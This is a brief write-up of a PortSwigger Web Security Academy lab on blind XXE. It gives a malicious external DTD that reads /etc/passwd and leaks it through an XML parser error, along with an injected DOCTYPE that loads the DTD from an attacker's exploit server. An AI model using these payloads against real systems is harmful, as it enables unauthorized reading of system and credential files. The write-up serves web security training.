Lab: Exploiting blind XXE to retrieve data via error messages
tags: Portswigger Web Security Academy Web
- Description: This lab has a “Check stock” feature that parses XML input but does not display the result.
- Goal: To solve the lab, use an external DTD to trigger an error message that displays the contents of the
/etc/passwdfile. The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.
Recon
This is very similar to the previous lab(Exploiting blind XXE to exfiltrate data using a malicious external DTD)
- Complete Malicious Server Payload and Store
1
2
3
4<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>"> %eval; %exfil; -
Complete Intercept Packet Payload
Intercept the packet that you click
Check stockbutton in arbitrary product page.Copy and paste your malicious server URL to
YOUR-DTD-URL, e.g.https://exploit-{YOUR-RANDOM-URL}.exploit-server.net/exploit1
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]> - Send packet!!!
Exp
Malicious Server Payload
1 | |
Intercept Packet Payload
1 | |

